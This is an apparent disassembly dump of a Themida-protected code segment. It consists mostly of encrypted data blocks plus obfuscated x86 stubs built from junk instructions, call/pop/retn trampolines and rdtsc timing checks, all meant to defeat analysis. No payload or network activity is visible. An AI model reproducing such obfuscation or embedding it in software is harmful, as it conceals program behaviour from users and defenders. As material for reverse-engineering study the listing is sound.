		dd 0B22F5274h, 98926EA2h, 4A82E201h, 82E8BF80h,	1AEA8108h
		dd 0B877BFC0h, 0A0F2C5Bh, 5E952h, 21C30000h, 8FECC70Fh
		dd 39EF8107h, 0E9094D0Dh, 12h, 3E4F9AD8h, 24B89327h, 8A1F0C0h
		dd 0E87602Eh, 0C781BA3Ah, 94D0D35h, 4BC8B70Fh, 0FF7B850Fh
		dd 8166FFFFh, 0E86BFBD0h, 0Bh, 0D963FBA8h, 9F2DD4F7h, 0E8C1328Ah
		dd 8, 63E172CDh, 543855BFh, 9E952h, 5DCD0000h, 0F320EB11h
		dd 5F5FCCA4h, 8051595Fh, 815BBDEEh, 673CC1h, 0B8D38B00h
		dd 7D919F8Fh, 7A16C081h, 870F826Eh, 2, 318BEBB6h, 56B3EE81h
		dd 0CA813F25h, 20885F94h, 4133C681h, 81F54D4Dh,	2FF002F6h
		dd 3189F84Fh, 20870Fh, 820F0000h, 1Ah, 14E8h, 2A798300h
		dd 5AE042A1h, 42E1436Fh, 0C3AF32A0h, 36700196h,	0E9835B8Dh
		dd 850F4804h, 0FFFFFFB2h, 0E850Fh, 9E90000h, 4B000000h
		dd 15A2C39Bh, 8EC7D1E4h, 0BD83C08Bh, 60E0E21h, 83097500h
		dd 0E0FC5BDh, 19740006h, 0C08B5350h, 421B8h, 9D858900h
		dd 8D060E1Dh, 10A86C9Dh, 5BD3FF06h, 0C5BD8358h,	60E0Fh
		dd 53501774h, 421B8h, 9D858900h, 8D060E1Dh, 10A55B9Dh
		dd 5BD3FF06h, 8BC08B58h, 0E03059Dh, 1185C606h, 56060E2Fh
		dd 0A8B85268h, 3DB5FF9Ch, 8D060E0Ch, 116F7485h,	6AD0FF06h
		dd 10006804h, 0B5FF0000h, 60E2519h, 0D0FF006Ah,	850FC085h
		dd 0Dh,	0B8h, 9B8D8D00h, 0FF060E71h, 8BC88BE1h,	3C4003C3h
		dd 0F805h, 0C508B00h, 0BD83D303h, 60E0AC9h, 0E840F00h
		dd 8B000000h, 0E0AC99Dh, 51858B06h, 89060E0Eh, 8D525103h
		dd 0E7A0985h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h,	1185C6A4h
		dd 56060E2Fh, 1F6D3968h, 3DB5FFD4h, 8D060E0Ch, 116F7485h
		dd 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h, 0E0E21BDh
		dd 9750006h, 0FC5BD83h,	7400060Eh, 8B535019h, 421B8C0h
		dd 85890000h, 60E15C5h,	0A8D39D8Dh, 0D3FF0610h,	0BD83585Bh
		dd 60E0FC5h, 50177400h,	421B853h, 85890000h, 60E15C5h
		dd 0A5749D8Dh, 0D3FF0610h, 0C08B585Bh, 0AC99D8Dh, 38B060Eh
		dd 840FC00Bh, 7, 5B8B038Bh, 0B8188904h,	4B41h, 9E8h, 7C7C8200h
		dd 41726D56h, 0E2B90EDDh, 5F2E313Bh, 5890Fh, 0F3BB0000h
		dd 816C56C3h, 0DF2DC7h,	0E0816600h, 0D22B9B93h,	5E951h
		dd 3CDF0000h, 5B18D640h, 503A34FFh, 50505E59h, 0E3DA81B8h
		dd 81595859h, 0A984AAEEh, 12E977h, 13EA0000h, 0D520BDFFh
		dd 0CF257954h, 7C29041h, 0E4E90812h, 49BEF681h,	0EB813276h
		dd 4ED8024h, 982BF681h,	56FC552Ah, 11E8h, 6B9F1400h, 0A834A2F0h
		dd 44C58649h, 956F7C83h, 0BB6651D0h, 8F59576Fh,	0F601704h
		dd 689h, 890F00h, 0B9000000h, 6612327Dh, 39F78061h, 0B301EA83h
		dd 4A4A4A5Ch, 81DAB70Fh, 0FF21BCFAh, 0F850FFFh,	66000000h
		dd 0C11EE381h, 25E9h, 0CD842600h, 0BE9F20Dh, 0B0000000h
		dd 7F75608Ch, 6718BA9Eh, 51E991A2h, 64FFFFFFh, 2F2BA31Eh
		dd 9DE03B35h, 14E85D7Eh, 86000000h, 0E1AB8733h,	42B7365Ah
		dd 66E4C4A6h, 57C7203Fh, 58701B40h, 731AC081h, 8B660000h
		dd 1C9568F3h, 81660000h, 5973E9CEh, 850F188Bh, 6, 0F1C7C681h
		dd 0C3811EDFh, 50D01079h, 6E960h, 59D0000h, 140BD5Fh, 0CE8h
		dd 662F200h, 5F99C23Ah,	6EB5C6E1h, 0CE9E3h, 2F870000h
		dd 0AE5DF8D1h, 434EE912h, 61596E36h, 6D69EB81h,	800F1C11h
		dd 6, 0BDF9E781h, 0EB814C45h, 72497DA9h, 53FAB70Fh, 65E5BA66h
		dd 0EE81008Fh, 6BEF5021h, 4904E883h, 14850Fh, 0DF810000h
		dd 23CDC351h, 20E9h, 50017600h,	4440DABAh, 8166129Ch, 0E963EEF2h
		dd 0FFFFFF6Ch, 1FB5D142h, 7D9C65F5h, 0AD733D6h,	91CAFEABh
		dd 16A80A6Fh, 0DC8A4EE4h, 0ABA80A6Ch, 0B475EAD5h, 1CA80A6Ch
		dd 0BA8A4EE5h, 0C957AE5Dh, 0A48A4EE5h, 0ABA80A6Dh, 6F75EAD5h
		dd 3FA80A72h, 0E98A4EFAh, 0B9A80A72h, 638A4EFAh, 0ABA80A73h
		dd 2575EAD5h, 6370D42Fh, 0C003133Fh, 52BD670Dh,	7DCC90A7h
		dd 0D12157B7h, 439F2399h, 6C35D42Fh, 0C003133Fh, 52BD6715h
		dd 7D7F90A7h, 0D12157B7h, 439F2395h, 6DE4D42Fh,	0C003133Fh
		dd 52BD6761h, 7C2B90A7h, 0D12157B7h, 439F23E1h,	6D4DD42Fh
		dd 0C003133Fh, 52BD676Dh, 7FA490A7h, 0D12157B7h, 439F23FDh
		dd 6EC7D42Fh, 0C003133Fh, 52BD6779h, 7F3A90A7h,	0D12157B7h
		dd 439F23F5h, 6E59D42Fh, 0C003133Fh, 52BD6741h,	7EA090A7h
		dd 0D12157B7h, 439F23CDh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 50BD87C0h, 0A8ED96A4h, 458A152Ah
		dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
		dd 0CE75EAD5h, 0B53AAE63h, 848C1B19h, 11AB5342h, 55FFEA22h
		dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
		dd 660351A2h, 0EE27BFEAh, 3878DB2Fh, 9475133Fh,	0D9020112h
		dd 50E6C5A0h, 0EC79AEA4h, 41AE51A1h, 8422DC09h,	0BA8C0046h
		dd 0DF103773h, 0C821732Ah, 41C48128h, 0FD5BEA2Ch, 508C152Bh
		dd 95009881h, 0ABAE44CEh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 50B247C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
		dd 5AB57830h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 50E6C5A0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 439F2D83h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 52A64C8Bh, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 50E6C5A0h
		dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
		dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
		dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h,	972337AAh
		dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
		dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
		dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h,	45939125h
		dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh,	5610E0A2h
		dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 8422DC08h,	0BA8C0046h
		dd 0FEF8E173h, 295A9FA7h, 855757B7h, 6E20D6A0h,	29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah,	52A66243h
		dd 0C8204526h, 41C48128h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
		dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
		dd 0FE0451A2h, 58A387D5h, 8C2357ACh, 0EF491786h, 3878DB2Fh
		dd 9475133Fh, 0BD28E9C4h, 8600BE4Ch, 58D57A08h,	247668A3h
		dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
		dd 457650EDh, 0F8A851A2h, 6C18EA80h, 0DFAE5FBFh, 8558B9E2h
		dd 8432DC08h, 0BA8C0046h, 94103771h, 0CF2173E3h, 2983FB63h
		dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52A64C8Bh
		dd 7726DDA1h, 0CE25FB63h, 439F79FAh, 0ECCE825Dh, 0EEECE4AAh
		dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
		dd 0D903376Bh, 50E6C5B0h, 327BAEA4h, 234B9592h,	0FE04FD09h
		dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
		dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah,	0FFCEB824h
		dd 295A8FA7h, 875757B7h, 320A09Ah, 0CE25FB0Eh, 439F79FAh
		dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 50B16FC0h
		dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 439F2385h
		dd 0D232DCF1h, 0BA8C001Dh, 0A8EDD871h, 458A42C3h, 58DDAEA2h
		dd 0C88260D5h, 419EEE38h, 0DF07462Ch, 52BD6624h, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 73418FA7h, 0D9FB57B7h
		dd 50BD93B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 8332DCAAh, 168C001Ch, 632ECB2Fh, 9675133Fh, 0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 16EB00h
		dd 4 dup(0)
		dd 1000000h, 3A401h, 6A061500h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 2870C351h, 32749303h
		dd 47711A1Bh, 6690AEB2h, 506D41BFh, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 58FC6515h
		dd 9D8B28A0h, 60E3001h,	6AD68Bh, 224D8D8Bh, 6A060Eh, 1639BD8Bh
		dd 858D060Eh, 6153D83h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 80C35646h, 55D81E0Bh,	351CF66Bh, 0C86BDB81h
		dd 60903061h, 665A5260h, 6161CF8Bh, 53525050h, 890Fh, 0F5B0000h
		dd 5A6CB131h, 8B609058h, 0E1B7DBDh, 61C38B06h, 8B57006Ah
		dd 0E036195h, 6A5906h, 6820Fh, 8D8B0000h, 60E188Dh, 2FE195FFh
		dd 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E3FA83C3h, 0BD8D8Bh, 83E9060Eh, 0E8000006h
		dd 10h,	0D31D76A8h, 46DD8906h, 59EA838Ah, 93154BDEh, 239BD8Bh
		dd 0E85A060Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6153D88h
		push	0
		push	esi
		call	sub_5BD396
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD396	proc near		; CODE XREF: Themida_:005BD38Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5BD396	endp

; ---------------------------------------------------------------------------
		add	byte ptr [eax+590C8947h], 0D8h
		push	edx
		sbb	ebx, 5C3986FEh
		pop	edi
		push	0
		push	eax
		call	sub_5BD3C0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD3C0	proc near		; CODE XREF: Themida_:005BD3B8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BD3C0	endp

; ---------------------------------------------------------------------------
		push	edx
		push	es
		pusha
		mov	ecx, [ebp+60E1B31h]
		popa
		call	near ptr loc_5BD3DF+4


loc_5BD3DF:				; CODE XREF: Themida_:005BD3DAp
		mov	al, ds:6000000Fh
		push	eax
		mov	ebx, 29EFB35Fh
		pop	ebx
		mov	ax, 85B2h
		popa
		push	eax
		jb	loc_5BD406
		call	sub_5BD403
		fisttp	word ptr [esi-53545B50h]
		inc	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5BD403	proc near		; CODE XREF: Themida_:005BD3F7p

arg_4		= dword	ptr  8

		mov	bh, dh
		pop	ebx


loc_5BD406:				; CODE XREF: Themida_:005BD3F1j
		mov	eax, [esp-4+arg_4]
		mov	dx, 47C3h
		mov	eax, [eax]
		push	edi
		mov	di, 0D99Dh
		pop	ebx
		mov	[esp-4+arg_4], eax
		push	eax
		mov	ecx, 5C681CFFh
		pop	ecx
		pop	eax
		push	0
		push	edx
		call	sub_5BD42D
		and	[edx-3Dh], bl
sub_5BD403	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BD42D	proc near		; CODE XREF: sub_5BD403+22p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BD42D	endp

; ---------------------------------------------------------------------------
		sub	[ebx+5Dh], edx
		inc	edi
		pop	esp
		cmp	al, 0AFh
		sub	eax, 95FF7AD8h
		inc	ebp
		femms
		push	es
		push	0
		push	edx
		call	sub_5BD458
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD458	proc near		; CODE XREF: Themida_:005BD450p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BD458	endp

; ---------------------------------------------------------------------------
		dd 8DC88BEEh, 153C47B5h, 6C7F506h, 6D676552h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 83C35343h, 3E5A08Bh
		dd 0E0A658Dh, 158A0F06h, 0F000000h, 0F8Bh, 0AE900h, 9E950000h
		dd 7218BFF0h, 4CCB185Eh, 6F0446C7h, 0FC6C636Eh,	12E9h
		dd 0BD7C7900h, 9E39DEFh, 0B87B8586h, 0AC6FBDFCh, 0C7F33985h
		dd 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0FEA5E4C3h, 0D5BD8B6Bh, 6A060E18h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0DC9C0ED1h, 3C47858Dh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0E2CA3C3h, 8B6BA091h, 0E193DBDh, 7DBF5006h, 8908D5D1h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D8BDDC3h, 60E2D71h, 83D9D29h, 95FF060Eh
		dd 60E0DA1h, 28FD9589h,	0C00B060Eh, 61840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 5D029C3h, 4217614h, 3BAE9h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0BB096EFBh
		dd 12E9C1B5h, 0B7000000h, 0ADC39C23h, 36AD23D6h, 439A5420h
		dd 4F53CE2h, 0E833B318h, 4, 12Ch, 50D88B66h, 8E8h, 29E42D00h
		dd 7D74C436h, 448B5F3Eh, 8B660424h, 53008BFBh, 880F53h
		dd 59000000h, 24448959h, 0A830F04h, 50000000h, 0FF38A52h
		dd 5ADA8B31h, 6A5858h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8723D0C3h, 29EAE65Bh, 0E1919BDh
		dd 4595FF06h, 0E9060E0Fh, 0Bh, 0D987C1BDh, 0A0DDAB43h
		dd 8DA9E947h, 153C47B5h, 0C99D8B06h, 0C7060E21h, 34383106h
		dd 51006A36h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0A0B8CFA6h, 1DE3D1C8h, 8BF9DD7Eh, 446C7DFh
		dd 31342D37h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	96C35545h, 8B6691F6h, 846C7CFh,	0
; ---------------------------------------------------------------------------
		jnb	loc_5BD6FF
		jmp	loc_5BD6FF
; ---------------------------------------------------------------------------
		align 4
		dd 94F39058h, 4D2DC2C6h, 0F55CCE6Bh, 0A2ED6F24h
		db 8Fh,	6Fh, 6Eh
; ---------------------------------------------------------------------------


loc_5BD6FF:				; CODE XREF: Themida_:005BD6E0j
					; Themida_:005BD6E6j
		push	0
		movsx	ecx, ax
		lea	eax, [ebp+6153C47h]
		push	0
		push	edi
		call	sub_5BD715
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD715	proc near		; CODE XREF: Themida_:005BD70Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BD715	endp

; ---------------------------------------------------------------------------
		db 0EFh, 66h, 81h
; ---------------------------------------------------------------------------
		rcr	byte ptr [eax-6E40AF29h], cl
		lahf
		dec	ebp
		pop	ds
		mov	[esp], eax
		and	edi, [ebp+60E1B5Dh]
		call	dword ptr [ebp+60E0DA1h]
		push	0
		push	esi
		call	sub_5BD74B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD74B	proc near		; CODE XREF: Themida_:005BD743p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5BD74B	endp

; ---------------------------------------------------------------------------
		movsd
		scasd
		mov	esp, 0DEC6E863h
		pop	edx
		mov	[ebp+60E1CA1h],	ecx
		jmp	loc_5BD77D
; ---------------------------------------------------------------------------
		pop	edi
		fcomp	st(4)
		mov	ebx, ebx
		inc	ecx
		db	64h
		xchg	eax, ebx
		mov	dword ptr [eax+40h], 7A94679Ah


loc_5BD77D:				; CODE XREF: Themida_:005BD769j
		jbe	$+6
		or	eax, eax
		jz	loc_5BD7E2
		push	0
		push	ebp
		call	sub_5BD796
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD796	proc near		; CODE XREF: Themida_:005BD78Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5BD796	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		lodsd
		retn	8BC2h
; ---------------------------------------------------------------------------
		popf
		push	ecx
		add	cl, [esi]
		push	es
		jmp	loc_5BD977
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BD7C0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD7C0	proc near		; CODE XREF: Themida_:005BD7B8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5BD7C0	endp

; ---------------------------------------------------------------------------
		dd 0F9F58BD6h, 8C0F1255h, 6, 0A159D8Bh
; ---------------------------------------------------------------------------
		push	cs
		push	es


loc_5BD7E2:				; CODE XREF: Themida_:005BD785j
		push	5F398BF8h
		pusha
		push	eax
		push	edx
		jge	$+6
		rdtsc
		mov	edx, 0BE4D652h
		pop	edx
		pop	eax
		mov	di, 0F98Dh
		popa
		xor	dword ptr [esp], 5F398AD4h
		cmc
		call	dword ptr [ebp+60E0F45h]
		push	0
		push	edx
		call	sub_5BD817
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD817	proc near		; CODE XREF: Themida_:005BD80Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BD817	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 94E74335h, 0B58DEEFAh, 6153C47h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0A0C35646h,	0DA91C8E0h, 0C57CE175h
		dd 9D8BFA8Bh, 60E1C89h,	694606C7h, 8B66656Ch, 446C7CEh
		dd 636E6F6Dh, 0C7F98B66h, 616C0846h, 8B527373h,	0E12FDBDh
		dd 46C75906h, 0Ch, 54BB6600h, 0F18D2BB0h, 6A060E23h, 81BD8900h
		dd 8D060E02h, 153C4785h, 69B96606h, 0BA6690A6h,	50503365h
		dd 7DB16052h, 499DCDBAh, 310F617Eh, 11E9h, 7244D00h, 9A1ADA94h
		dd 23E32F09h, 6F34B768h, 585A50BDh, 5AB96690h, 0A195FF09h
		dd 6A060E0Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FD3C356h, 487h, 61606000h, 0CD958961h
		dd 0B060E01h, 34840FC0h, 8B000000h, 0E1EEDBDh, 5DE906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 5BC954C3h, 666A67D0h, 91958B15h, 0E9060E18h
		dd 0FFFFFA37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	8CC35545h, 0DAC3D308h, 0A58F6DFh, 18CF8166h, 4D9D8B5Ch
; ---------------------------------------------------------------------------
		pop	es
		push	cs
		push	es


loc_5BD977:				; CODE XREF: Themida_:005BD7B0j
		lea	esi, [ebp+60E719Bh]
		ja	loc_5BD988
		mov	ebx, 1DD721C5h


loc_5BD988:				; CODE XREF: Themida_:005BD97Dj
		push	edx
		mov	edi, [ebp+60E2EF9h]
		pop	edi
		mov	eax, 0
		push	0
		push	edx
		call	sub_5BD9A0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD9A0	proc near		; CODE XREF: Themida_:005BD998p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BD9A0	endp

; ---------------------------------------------------------------------------
		dd 3E7CA423h, 733DC2B6h, 895178DDh, 0E1CB59Dh, 0E6FF5F06h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 51C35545h
		dd 0A028D711h, 0C18B37D8h, 44A08D8Dh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 94847FC3h, 31233A21h, 89D98B06h, 0E2FC58Dh, 0FE906h
		dd 49370000h, 0D6A9F5BBh, 0CD1F7DC7h, 32128186h, 0FCD78039h
		dd 88185C7h, 7458060Eh,	0DE80000h, 97000000h, 8CD45890h
		dd 77B5AC4h, 7B378C75h,	5AC0B70Fh, 85C7DA8Bh, 60E28D9h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BDA67
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BDA67	proc near		; CODE XREF: Themida_:005BDA5Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5BDA67	endp

; ---------------------------------------------------------------------------
		db 1Eh
		dd 81FEA2A2h, 9C387BC6h, 0A1B5FF7Dh, 0F5060E1Ah, 9B995FFh
		dd 6657060Eh, 0CBC2F381h, 0FF006A5Ah, 0E0F4595h, 0EBC08B06h
		dd 0D997F73Ah, 0DA674033h, 0FF4EAD6Bh, 0FAE7B94Eh, 7CCD8D7Fh
		dd 6CCF1AB1h, 0CADA6482h, 0FE480086h, 526D3610h, 0F683364Eh
		dd 6E07CE64h, 0D6686C9Dh, 98B75CB0h, 0F5872D2Ch, 0E9529ADDh
		dd 2Ah,	2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 61544F0h
		mov	eax, [esp+4]
		mov	[ebp+60E0E99h],	eax
		mov	eax, 0
		lea	ecx, [ebp+60E4DD1h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	short loc_5BDB1D
; ---------------------------------------------------------------------------
		db 0B1h, 0A5h, 55h
		dd 0AE07CE13h, 9A01F743h
; ---------------------------------------------------------------------------
		pusha


loc_5BDB1D:				; CODE XREF: Themida_:005BDB0Fj
		jmp	loc_5BE122
; ---------------------------------------------------------------------------
		jmp	loc_5BE11B
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0C05B1FEAh, 0A43F03C4h, 8722E6A9h, 6904C88Dh, 0B9E4A871h
		dd 19E2DA0Bh, 0FAC1BA55h, 0E09D9B36h, 0C584811Ch, 29EAB501h
		dd 5D7CF5EEh, 0B64BF962h, 0D3DEFAB9h, 1F743B34h, 0ADC98684h
		dd 0FDBED9D2h, 5B69B09Ah, 2440BB36h, 6C885149h,	0BB7C9991h
		dd 5B69B05Ch, 0E2FE79F4h, 27240D07h, 1A954C68h,	0B7F8A74Bh
		dd 5E932904h, 1B16F109h, 0F9BA8958h, 5B69A29Eh,	4A62B732h
		dd 96B2736Fh, 5120A197h, 23EAE382h, 0E78711CEh,	9A39617Eh
		dd 4460DBA0h, 0E7AB6E69h, 0BE837D1Ch, 5B1CEBA2h, 0A2837D3Ch
		dd 29C41994h, 524F6B2Eh, 8943095Eh, 0AECA918Ah,	0FC18D5D3h
		dd 0B528A91Ch, 0D3F37BBEh, 47A1C415h, 0BA9B9938h, 28DFFBC0h
		dd 89DA58ADh, 0F3EB6E12h, 0A3436EF7h, 0D1B8B34Eh, 41F814D5h
		dd 6728F7C6h, 0BFC37220h, 10D025A0h, 0BDAE751h,	5AAF706Ch
		dd 3736CE8Fh, 4BEA85D4h, 0BB728E4Fh, 0DEFFA366h, 7AA4EABBh
		dd 7FFAB7B5h, 723E4E0h,	0DEB9D550h, 945F23E0h, 498504C5h
		dd 0C23D85FCh, 17D4D26Dh, 0E9AA7948h, 85FC49AEh, 0A3E6A722h
		dd 1F85FC49h, 3A374FA4h, 7FB09AACh, 681EC2D1h, 0D13474B3h
		dd 7492C569h, 390D049Eh, 0CE1566E4h, 904F13D0h,	894A19A8h
		dd 0F9AD3E57h, 2849E589h, 7BBE4655h, 0A4E7E400h, 4CC9A58Dh
		dd 6A75914Eh, 0A58D6EA9h, 0C867E2C9h, 0E6F10DCAh, 0A58DE225h
		dd 0C3E35EC9h, 0E691B405h, 52A5D324h, 0D41D2A0Fh, 1Fh
		dd 52E28666h, 6ABA5ECFh, 2C509AEFh, 81000003h, 5A96F1B2h
		dd 0AF2A5B69h, 38541310h, 86BE2C81h, 7E7B72E2h,	3D2AF9Dh
		dd 699EC742h, 0AB007B5Bh, 372C1210h, 2D8F434Dh,	522D49C4h
		dd 0AC789457h, 9896DD2Eh, 7E7C17DBh, 64DFA29Dh,	0FDE99348h
		dd 0DE244EF2h, 40210B30h, 0A51C6DEBh, 10F215D6h, 0D34E5B69h
		dd 28E5E37Eh, 0F9C2BA59h, 4E49E4A4h, 9A946F8Bh,	525DB9D5h
		dd 1047C283h, 80FB5B69h, 155CAD2Bh, 4A3A331Ah, 0ABA0B994h
		dd 0EA65E065h, 992A6926h, 0D6CEAB4Dh, 0CB6F3E0Dh, 0DF936C87h
		dd 34531418h, 8CEB7428h, 31FCBC11h, 7ED39892h, 723EAE3h
		dd 2A7458FCh, 565F2180h, 0A66D6601h, 0C04708D7h, 80EB746Eh
